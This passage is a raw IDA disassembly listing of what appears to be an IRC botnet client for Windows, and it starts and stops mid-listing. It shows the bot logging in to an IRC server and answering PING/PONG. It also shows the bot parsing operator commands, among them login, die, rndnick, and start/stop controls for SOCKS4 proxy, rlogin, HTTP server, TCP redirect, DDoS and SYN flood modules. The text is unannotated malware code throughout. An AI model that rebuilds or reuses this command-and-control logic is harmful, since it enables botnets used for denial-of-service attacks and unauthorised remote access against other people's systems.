[ebp+var_10] push 0 push eax call sub_41D100 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call ds:dword_4514F4 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_4024FB test eax, eax pop ecx mov [ebp+var_C], eax jz loc_402E98 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41D100 push 0 lea eax, [ebp+var_2C] push ds:dword_43CC80 push ds:dword_43CC7C push eax call sub_408A38 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_4523D0 push edi push eax call sub_41D800 add esp, 28h push 6 push 1 push 2 call ds:dword_451570 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov ds:dword_4523C4[eax], esi lea eax, [ebp+var_10] push eax push esi call ds:dword_45149C cmp eax, 0FFFFFFFFh jnz short loc_402E31 push esi call ds:dword_451588 call sub_402524 push 7D0h loc_402E26: ; CODE XREF: sub_402D46+146j call ds:dword_4F12F4 ; Sleep jmp loc_402D6B ; --------------------------------------------------------------------------- loc_402E31: ; CODE XREF: sub_402D46+CDj lea eax, [ebp+var_18C] push eax push offset aMainConnectedT ; "[MAIN]: Connected to %s." call sub_41621B push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_402EAE add esp, 28h mov edi, eax push esi call ds:dword_451588 test edi, edi jz loc_402D6B cmp edi, 1 jnz short loc_402E8E push 0DBBA0h jmp short loc_402E26 ; --------------------------------------------------------------------------- loc_402E8E: ; CODE XREF: sub_402D46+13Fj cmp edi, 2 jz short loc_402E9C jmp loc_402D6B ; --------------------------------------------------------------------------- loc_402E98: ; CODE XREF: sub_402D46+5Aj xor eax, eax jmp short loc_402EA8 ; --------------------------------------------------------------------------- loc_402E9C: ; CODE XREF: sub_402D46+14Bj push [ebp+var_34] call sub_40905B pop ecx push 2 pop eax loc_402EA8: ; CODE XREF: sub_402D46+154j pop edi pop esi leave retn 4 sub_402D46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EAE proc near ; CODE XREF: sub_402D46+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41DEB0 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_402ECC: ; CODE XREF: sub_402EAE+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_402ECC cmp ds:byte_4DF328, bl jz short loc_402EF3 push offset byte_4DF328 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_401417 add esp, 0Ch loc_402EF3: ; CODE XREF: sub_402EAE+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_408A38 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41D260 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_402F5D push [ebp+arg_0] call ds:dword_451588 push 1388h call ds:dword_4F12F4 ; Sleep loc_402F56: ; CODE XREF: sub_402EAE+D9j ; sub_402EAE+153j xor eax, eax loc_402F58: ; CODE XREF: sub_402EAE+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_402F5D: ; CODE XREF: sub_402EAE+92j ; sub_402EAE+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41D100 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call ds:dword_45150C test eax, eax jle short loc_402F56 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_417768 pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_402F5D lea edi, [ebp+var_A90] loc_402FAE: ; CODE XREF: sub_402EAE+165j push 1 pop esi loc_402FB1: ; CODE XREF: sub_402EAE+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_403026 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_402FF4 push 7D0h call ds:dword_4F12F4 ; Sleep jmp short loc_402FB1 ; --------------------------------------------------------------------------- loc_402FF4: ; CODE XREF: sub_402EAE+137j cmp esi, 0FFFFFFFDh jz short loc_40301E cmp esi, 0FFFFFFFEh jz short loc_40301A cmp esi, 0FFFFFFFFh jz loc_402F56 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_402FAE jmp loc_402F5D ; --------------------------------------------------------------------------- loc_40301A: ; CODE XREF: sub_402EAE+14Ej push 1 jmp short loc_403020 ; --------------------------------------------------------------------------- loc_40301E: ; CODE XREF: sub_402EAE+149j push 2 loc_403020: ; CODE XREF: sub_402EAE+16Ej pop eax jmp loc_402F58 sub_402EAE endp ; --------------------------------------------------------------------------- loc_403026: ; CODE XREF: sub_402EAE+12Ap push ebp mov ebp, esp mov eax, 159Ch call sub_41DEB0 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C8h] push ebx push eax mov dword ptr [ebp-0A4h], 3 mov [ebp-10h], ebx mov [ebp-0A8h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-0C8h], ebx call sub_41D100 push 1Bh lea eax, [ebp-564h] push dword ptr [ebp+18h] push eax call sub_41D800 add esp, 18h cmp [ebp+8], ebx jz loc_403498 push esi lea eax, [ebp-0F9Ch] push ebx push eax call sub_41D100 dec esi lea eax, [ebp-0F9Ch] push esi push dword ptr [ebp+8] push eax call sub_41D800 lea eax, [ebp-0F9Ch] push offset asc_43D79C ; " :" push eax call sub_41DBE0 mov [ebp-0Ch], eax lea eax, [ebp-0F9Ch] push esi push eax lea eax, [ebp-119Ch] push eax call sub_41D800 lea eax, [ebp-119Ch] push offset asc_43D7A0 ; " " push eax call sub_41D6B0 add esp, 34h mov [ebp-94h], eax lea esi, [ebp-90h] push 1Fh pop edi loc_4030F1: ; CODE XREF: seg000:00403104j push offset asc_43D7A4 ; " " push ebx call sub_41D6B0 mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_4030F1 mov esi, [ebp-94h] cmp esi, ebx jz loc_403498 cmp [ebp-90h], ebx jz loc_403498 push 100h lea eax, [ebp-0A14h] push ebx push eax call sub_41D100 add esp, 0Ch lea ecx, [ebp-18h] push 1Fh pop edx push 1 pop edi loc_40313E: ; CODE XREF: seg000:00403170j mov eax, [ecx] cmp eax, ebx jz short loc_40316A cmp byte ptr [eax], 2Dh jnz short loc_403172 cmp [eax+2], bl jnz short loc_403172 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-0A14h], 1 mov esi, [ebp-94h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40316A: ; CODE XREF: seg000:00403142j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40313E loc_403172: ; CODE XREF: seg000:00403147j ; seg000:0040314Cj cmp [ebp-9A1h], bl jz short loc_40317D mov [ebp-8], edi loc_40317D: ; CODE XREF: seg000:00403178j cmp [ebp-9A6h], bl jz short loc_40318B mov [ebp-8], ebx mov [ebp-4], edi loc_40318B: ; CODE XREF: seg000:00403183j cmp byte ptr [esi], 0Ah jz short loc_4031C5 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_41D800 lea eax, [esi+1] push 17h push eax lea eax, [ebp-0C0h] push eax call sub_41D800 lea eax, [ebp-0C0h] push offset asc_43D7A8 ; "!" push eax call sub_41D6B0 add esp, 20h loc_4031C5: ; CODE XREF: seg000:0040318Ej push esi push offset aPing ; "PING" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403216 push dword ptr [ebp-90h] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 mov eax, [ebp+28h] add esp, 0Ch cmp [eax], ebx jnz loc_4032BA push dword ptr [ebp+14h] push dword ptr [ebp+10h] push offset aJoinSS ; "JOIN %s %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 add esp, 10h jmp loc_4032BA ; --------------------------------------------------------------------------- loc_403216: ; CODE XREF: seg000:004031D4j mov esi, [ebp-90h] push esi push offset a001 ; "001" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4085F2 push esi push offset a005 ; "005" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4085F2 push esi push offset a302_0 ; "302" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403281 push offset a@ ; "@" push dword ptr [ebp-88h] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz short loc_4032BA inc eax push 9Fh push eax push dword ptr [ebp+24h] call sub_41D800 add esp, 0Ch jmp short loc_4032BA ; --------------------------------------------------------------------------- loc_403281: ; CODE XREF: seg000:00403255j push esi push offset a433_0 ; "433" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4032C1 push ebx push ds:dword_43CC80 push ds:dword_43CC7C push dword ptr [ebp+18h] call sub_408A38 push dword ptr [ebp+18h] push offset aNickS_4 ; "NICK %s\r\n" push dword ptr [ebp+0Ch] call sub_401417 add esp, 1Ch loc_4032BA: ; CODE XREF: seg000:004031F5j ; seg000:00403211j ... mov eax, edi jmp loc_40349B ; --------------------------------------------------------------------------- loc_4032C1: ; CODE XREF: seg000:00403290j mov esi, [ebp+20h] mov dword ptr [ebp-0C4h], 3 mov edi, 80h loc_4032D3: ; CODE XREF: seg000:004032F8j lea eax, [ebp-0A94h] push eax push esi call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4032F0 mov dword ptr [ebp-0A8h], 1 loc_4032F0: ; CODE XREF: seg000:004032E4j add esi, edi dec dword ptr [ebp-0C4h] jnz short loc_4032D3 mov esi, [ebp-90h] push esi push offset aKick ; "KICK" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4033E7 mov esi, [ebp+20h] mov dword ptr [ebp+2Ch], 3 loc_40331F: ; CODE XREF: seg000:004033ACj cmp [esi], bl jz loc_4033A7 push 7Fh lea eax, [ebp-0A94h] push esi push eax call sub_41D800 lea eax, [ebp-0C0h] add esp, 0Ch test eax, eax jz short loc_4033A7 cmp [ebp-88h], ebx jz short loc_4033A7 push dword ptr [ebp-88h] lea eax, [ebp-0C0h] push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4033A7 lea eax, [ebp-0C0h] mov [esi], bl push eax lea eax, [ebp-2C8h] push offset aMainUserSLogge ; "[MAIN]: User %s logged out." push eax call sub_41D260 lea eax, [ebp-2C8h] push eax lea eax, [ebp-0C0h] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push dword ptr [ebp+0Ch] call sub_401417 lea eax, [ebp-2C8h] push eax call sub_4161A7 add esp, 20h loc_4033A7: ; CODE XREF: seg000:00403321j ; seg000:00403341j ... add esi, edi dec dword ptr [ebp+2Ch] jnz loc_40331F push dword ptr [ebp-88h] push dword ptr [ebp+18h] call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_403498 push dword ptr [ebp+14h] mov eax, [ebp+28h] push dword ptr [ebp+10h] mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_4033DA: ; CODE XREF: seg000:0040361Aj ; seg000:0040384Dj ... push dword ptr [ebp+0Ch] call sub_401417 jmp loc_407ED5 ; --------------------------------------------------------------------------- loc_4033E7: ; CODE XREF: seg000:0040330Fj push esi push offset aNick ; "NICK" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40352D mov eax, [ebp-8Ch] mov esi, [ebp+20h] inc eax mov dword ptr [ebp+8], 3 mov [ebp+2Ch], eax loc_403410: ; CODE XREF: seg000:00403462j lea eax, [ebp-0A94h] push eax push esi call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40345D lea eax, [ebp-0A94h] push 21h push eax call sub_41E650 pop ecx cmp eax, ebx pop ecx mov [ebp+24h], eax jz short loc_40345D push dword ptr [ebp+2Ch] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41E550 push dword ptr [ebp+24h] push edi call sub_41E560 add esp, 10h mov edi, 80h loc_40345D: ; CODE XREF: seg000:00403421j ; seg000:00403438j add esi, edi dec dword ptr [ebp+8] jnz short loc_403410 lea eax, [ebp-0C0h] test eax, eax jz short loc_403498 cmp [ebp+2Ch], ebx jz short loc_403498 push dword ptr [ebp+18h] lea eax, [ebp-0C0h] push eax call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4034A0 push 0Fh push dword ptr [ebp+2Ch] push dword ptr [ebp+18h] call sub_41D800 add esp, 0Ch loc_403498: ; CODE XREF: seg000:00403081j ; seg000:0040310Ej ... push 1 loc_40349A: ; CODE XREF: seg000:00408196j pop eax loc_40349B: ; CODE XREF: seg000:004032BCj ; seg000:004066CBj ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4034A0: ; CODE XREF: seg000:00403486j mov edi, [ebp+20h] xor esi, esi loc_4034A5: ; CODE XREF: seg000:004034C6j cmp [edi], bl jz short loc_4034BC lea eax, [ebp-0A94h] push eax push edi call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4034CA loc_4034BC: ; CODE XREF: seg000:004034A7j inc esi add edi, 80h cmp esi, 3 jl short loc_4034A5 jmp short loc_403498 ; --------------------------------------------------------------------------- loc_4034CA: ; CODE XREF: seg000:004034BAj lea eax, [ebp-0A94h] push 21h push eax call sub_41E650 pop ecx cmp eax, ebx pop ecx mov [ebp+8], eax jz short loc_403498 push eax call sub_41AC70 push dword ptr [ebp+2Ch] mov edi, eax call sub_41AC70 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_403498 push dword ptr [ebp+8] shl esi, 7 push dword ptr [ebp+2Ch] add esi, [ebp+20h] push offset aSS ; ":%s%s" push esi call sub_41D260 push ebx lea eax, [ebp-4ACh] push ebx push eax push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] call sub_40145D add esp, 24h jmp loc_403498 ; --------------------------------------------------------------------------- loc_40352D: ; CODE XREF: seg000:004033F6j push esi push offset aPart ; "PART" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_40354F push esi push offset aQuit ; "QUIT" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_40357C loc_40354F: ; CODE XREF: seg000:0040353Cj mov edi, [ebp+20h] xor esi, esi loc_403554: ; CODE XREF: seg000:00403574j cmp [edi], bl jz short loc_40356A push dword ptr [ebp-94h] push edi call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_4035BE loc_40356A: ; CODE XREF: seg000:00403556j inc esi add edi, 80h cmp esi, 3 jl short loc_403554 mov esi, [ebp-90h] loc_40357C: ; CODE XREF: seg000:0040354Dj push esi push offset a353 ; "353" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40361F push dword ptr [ebp-84h] push dword ptr [ebp+10h] call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_4035AE mov eax, [ebp+28h] mov dword ptr [eax], 1 loc_4035AE: ; CODE XREF: seg000:004035A3j push dword ptr [ebp-84h] push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s." jmp loc_4085E6 ; --------------------------------------------------------------------------- loc_4035BE: ; CODE XREF: seg000:00403568j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C0h] push eax lea eax, [ebp-2C8h] push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out." push eax call sub_41D260 lea eax, [ebp-2C8h] push eax call sub_4161A7 push dword ptr [ebp-90h] push offset aPart_0 ; "PART" call sub_41D900 add esp, 18h test eax, eax jnz loc_403498 lea eax, [ebp-2C8h] push eax mov eax, [ebp-94h] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_4033DA ; --------------------------------------------------------------------------- loc_40361F: ; CODE XREF: seg000:0040358Bj push esi push offset aPrivmsg_0 ; "PRIVMSG" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_403662 push esi push offset aNotice_0 ; "NOTICE" call sub_41D900 pop ecx test eax, eax pop ecx jz short loc_403662 push esi push offset a332 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40845F cmp ds:dword_43CC68, ebx jz loc_40845F loc_403662: ; CODE XREF: seg000:0040362Ej ; seg000:0040363Fj push esi push offset aPrivmsg_1 ; "PRIVMSG" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40376F push esi push offset aNotice_1 ; "NOTICE" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40376F mov eax, [ebp-88h] inc dword ptr [ebp-84h] mov dword ptr [ebp-0A4h], 4 mov [ebp-8Ch], eax loc_4036A8: ; CODE XREF: seg000:0040382Bj ; seg000:00403861j ... mov eax, [ebp-0A4h] mov esi, eax shl esi, 2 mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, ds:byte_43CC74 mov [ebp+14h], edi jnz loc_403498 push edi push offset aLoginhi ; "loginhi" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408467 push edi push offset aHi ; "hi" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408467 cmp [ebp-0A8h], ebx jnz short loc_403723 push dword ptr [ebp-90h] push offset a332_3 ; "332" call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_40845F loc_403723: ; CODE XREF: seg000:00403707j cmp [ebp+30h], ebx jnz loc_40845F cmp ds:dword_43D060, ebx mov [ebp+10h], ebx jle loc_4039FC mov dword ptr [ebp+28h], offset dword_451638 loc_403742: ; CODE XREF: seg000:00403768j push edi push dword ptr [ebp+28h] call sub_41D900 pop ecx test eax, eax pop ecx jz loc_40388E inc dword ptr [ebp+10h] add dword ptr [ebp+28h], 0B8h mov eax, [ebp+10h] cmp eax, ds:dword_43D060 jl short loc_403742 jmp loc_4039FC ; --------------------------------------------------------------------------- loc_40376F: ; CODE XREF: seg000:00403671j ; seg000:00403686j push esi push offset aNotice_2 ; "NOTICE" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403787 mov dword ptr [ebp-4], 1 loc_403787: ; CODE XREF: seg000:0040377Ej mov edi, [ebp-8Ch] cmp edi, ebx jz loc_403498 push offset asc_43D908 ; "#" push edi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_4037AB cmp [ebp-4], ebx jz short loc_4037B7 loc_4037AB: ; CODE XREF: seg000:004037A4j lea edi, [ebp-0C0h] mov [ebp-8Ch], edi loc_4037B7: ; CODE XREF: seg000:004037A9j cmp [ebp-88h], ebx jz loc_403498 inc dword ptr [ebp-88h] jz short loc_403801 cmp [ebp+18h], ebx jz short loc_403801 lea eax, [ebp-564h] push eax call sub_41AC70 push eax lea eax, [ebp-564h] push dword ptr [ebp-88h] push eax call sub_41E510 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp-0A4h], eax jmp short loc_403807 ; --------------------------------------------------------------------------- loc_403801: ; CODE XREF: seg000:004037C9j ; seg000:004037CEj mov eax, [ebp-0A4h] loc_403807: ; CODE XREF: seg000:004037FFj shl eax, 2 mov [ebp+10h], eax mov esi, [ebp+eax-94h] cmp esi, ebx jz loc_403498 push esi push offset dword_43D90C call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4036A8 cmp byte ptr [edi], 23h jz short loc_403852 mov eax, ds:dword_4DF33C mov eax, ds:off_43CD28[eax*4] cmp [eax], bl jz short loc_403852 push eax push edi push offset dword_43D918 jmp loc_4033DA ; --------------------------------------------------------------------------- loc_403852: ; CODE XREF: seg000:00403834j ; seg000:00403844j push esi push offset dword_43D934 call sub_41D900 pop ecx test eax, eax pop ecx jnz loc_4036A8 mov eax, [ebp+10h] mov eax, [ebp+eax-90h] cmp eax, ebx jz loc_4036A8 cmp byte ptr [edi], 23h jz loc_4036A8 push eax push edi push offset dword_43D93C jmp loc_4033DA ; --------------------------------------------------------------------------- loc_40388E: ; CODE XREF: seg000:0040374Fj push offset asc_43DA9C ; " :" push dword ptr [ebp+8] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz loc_403498 mov edi, [ebp+10h] mov cl, ds:byte_43CC74 imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_43CC74 mov [eax+3], cl lea ecx, dword_451650[edi] push 9Fh add eax, 4 push ecx push eax call sub_41D800 lea eax, [ebp+esi-54h] add esp, 0Ch mov dword ptr [ebp+10h], 0Fh mov [ebp+28h], eax loc_4038E6: ; CODE XREF: seg000:0040398Ej push dword ptr [ebp+10h] lea eax, [ebp-0A0h] push offset aD_0 ; "$%d-" push eax call sub_41D260 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41DBE0 add esp, 14h test eax, eax jz short loc_403952 mov eax, [ebp+28h] cmp [eax], ebx jz short loc_403952 lea eax, dword_451638[edi] push eax call sub_41AC70 add [ebp-0Ch], eax pop ecx jz short loc_403984 mov eax, [ebp+28h] push dword ptr [eax-4] push dword ptr [ebp-0Ch] call sub_41DBE0 pop ecx cmp eax, ebx pop ecx jz short loc_403984 push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4176D7 add esp, 0Ch jmp short loc_403984 ; --------------------------------------------------------------------------- loc_403952: ; CODE XREF: seg000:0040390Ej ; seg000:00403915j mov eax, [ebp+28h] cmp [eax], ebx jnz short loc_403984 lea eax, [ebp-0A0h] push 2 push eax lea eax, [ebp-14h] push eax call sub_41D800 lea eax, [ebp-14h] mov [ebp-12h], bl push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4176D7 add esp, 18h loc_403984: ; CODE XREF: seg000:00403927j ; seg000:0040393Bj ... dec dword ptr [ebp+10h] sub dword ptr [ebp+28h], 4 cmp [ebp+10h], ebx jg loc_4038E6 lea eax, [ebp+esi-54h] mov dword ptr [ebp+10h], 10h mov edi, eax loc_4039A1: ; CODE XREF: seg000:004039EDj push dword ptr [ebp+10h] lea eax, [ebp-0A0h] push offset aD_1 ; "$%d" push eax call sub_41D260 lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_41DBE0 add esp, 14h test eax, eax jz short loc_4039E4 mov eax, [edi] cmp eax, ebx jz short loc_4039E4 push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4176D7 add esp, 0Ch loc_4039E4: ; CODE XREF: seg000:004039C9j ; seg000:004039CFj dec dword ptr [ebp+10h] sub edi, 4 cmp [ebp+10h], ebx jg short loc_4039A1 mov edi, [ebp+14h] mov dword ptr [ebp-0C8h], 1 loc_4039FC: ; CODE XREF: seg000:00403735j ; seg000:0040376Aj mov al, [edi] cmp al, ds:byte_43CC74 jz short loc_403A12 cmp [ebp-0C8h], ebx jz loc_403BFB loc_403A12: ; CODE XREF: seg000:00403A04j push dword ptr [ebp+18h] mov edi, [ebp+8] push offset aMe ; "$me" push edi call sub_4176D7 lea eax, [ebp-0C0h] push eax push offset aUser_0 ; "$user" push edi call sub_4176D7 push dword ptr [ebp-8Ch] push offset aChan ; "$chan" push edi call sub_4176D7 push ebx push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_408A38 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_4176D7 add esp, 40h push dword ptr [ebp+1Ch] push offset aServer_0 ; "$server" push edi call sub_4176D7 mov edi, offset aChr ; "$chr(" push edi push dword ptr [ebp+8] call sub_41DBE0 add esp, 14h loc_403A84: ; CODE XREF: seg000:00403B74j test eax, eax jz loc_403B79 push offset aChr_0 ; "$chr(" push dword ptr [ebp+8] call sub_41DBE0 mov [ebp+18h], eax add eax, 5 push 4 push eax lea eax, [ebp-0A0h] push eax call sub_41D800 lea eax, [ebp-0A0h] push offset asc_43DAE4 ; ")" push eax call sub_41D6B0 add esp, 1Ch cmp byte ptr [ebp-0A0h], 30h jl short loc_403AD4 cmp byte ptr [ebp-0A0h], 39h jle short loc_403AEA loc_403AD4: ; CODE XREF: seg000:00403AC9j push 3 lea eax, [ebp-0A0h] push offset a63 ; "63" push eax call sub_41D800 add esp, 0Ch loc_403AEA: ; CODE XREF: seg000:00403AD2j lea eax, [ebp-0A0h] push eax call sub_41D560 test eax, eax pop ecx jle short loc_403B0D lea eax, [ebp-0A0h] push eax call sub_41D560 pop ecx mov [ebp-14h], al jmp short loc_403B1E ; --------------------------------------------------------------------------- loc_403B0D: ; CODE XREF: seg000:00403AF9j call sub_41DBA0 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp-14h], dl loc_403B1E: ; CODE XREF: seg000:00403B0Bj lea eax, [ebp-0A0h] mov [ebp-13h], bl push eax call sub_41AC70 mov [ebp+10h], eax push 0Ch lea eax, [ebp-0A0h] push ebx push eax call sub_41D100 mov eax, [ebp+10h] add eax, 6 push eax lea eax, [ebp-0A0h] push dword ptr [ebp+18h] push eax call sub_41D800 lea eax, [ebp-14h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp+8] call sub_4176D7 push edi push dword ptr [ebp+8] call sub_41DBE0 add esp, 30h jmp loc_403A84 ; --------------------------------------------------------------------------- loc_403B79: ; CODE XREF: seg000:00403A86j mov edi, 1FFh lea eax, [ebp-0F9Ch] push edi push dword ptr [ebp+8] push eax call sub_41D800 lea eax, [ebp-0F9Ch] push edi push eax lea eax, [ebp-119Ch] push eax call sub_41D800 lea eax, [ebp-119Ch] push offset asc_43DAEC ; " " push eax call sub_41D6B0 add esp, 20h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp+18h], 1Fh loc_403BC9: ; CODE XREF: seg000:00403BDEj push offset asc_43DAF0 ; " " push ebx call sub_41D6B0 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp+18h] pop ecx jnz short loc_403BC9 mov ecx, [ebp+esi-94h] lea eax, [ebp+esi-94h] cmp ecx, ebx jz loc_403498 add ecx, 3 mov [eax], ecx loc_403BFB: ; CODE XREF: seg000:00403A0Cj mov edi, [ebp+esi-94h] push edi push offset aRndnick ; "rndnick" mov [ebp+18h], edi call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408412 push edi push offset aRn ; "rn" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408412 push edi push offset aDie ; "die" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4083F0 push edi push offset aD_2 ; "d" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_4083F0 push edi push offset aLogout ; "logout" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408345 push edi push offset aLo ; "lo" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408345 push edi push offset aSocks4 ; "socks4" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408223 push edi push offset aS4 ; "s4" call sub_41D900 pop ecx test eax, eax pop ecx jz loc_408223 push edi push offset aSocks4stop ; "socks4stop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403CD6 push dword ptr [ebp+esi-90h] push 19h push offset aServer_1 ; "Server" push offset aSocks4_0 ; "[SOCKS4]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403CD6: ; CODE XREF: seg000:00403CBCj push edi push offset aRloginstop ; "rloginstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403CFF push dword ptr [ebp+esi-90h] push 9 push offset aServer_2 ; "Server" push offset aRlogind ; "[RLOGIND]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403CFF: ; CODE XREF: seg000:00403CE5j push edi push offset aHttpstop ; "httpstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403D28 push dword ptr [ebp+esi-90h] push 3 push offset aServer_3 ; "Server" push offset aHttpd ; "[HTTPD]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403D28: ; CODE XREF: seg000:00403D0Ej push edi push offset aLogstop ; "logstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403D51 push dword ptr [ebp+esi-90h] push 25h push offset aLogList ; "Log list" push offset aLog ; "[LOG]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403D51: ; CODE XREF: seg000:00403D37j push edi push offset aRedirectstop ; "redirectstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403D7A push dword ptr [ebp+esi-90h] push 18h push offset aTcpRedirect ; "TCP redirect" push offset aRedirect ; "[REDIRECT]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403D7A: ; CODE XREF: seg000:00403D60j push edi push offset aDdos_stop ; "ddos.stop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403DA3 push dword ptr [ebp+esi-90h] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset aDdos ; "[DDoS]" jmp loc_408207 ; --------------------------------------------------------------------------- loc_403DA3: ; CODE XREF: seg000:00403D89j push edi push offset aSynstop ; "synstop" call sub_41D900 pop ecx test eax, eax pop ecx jnz short loc_403DCC push dword ptr [ebp+esi-90h] push 0Eh push 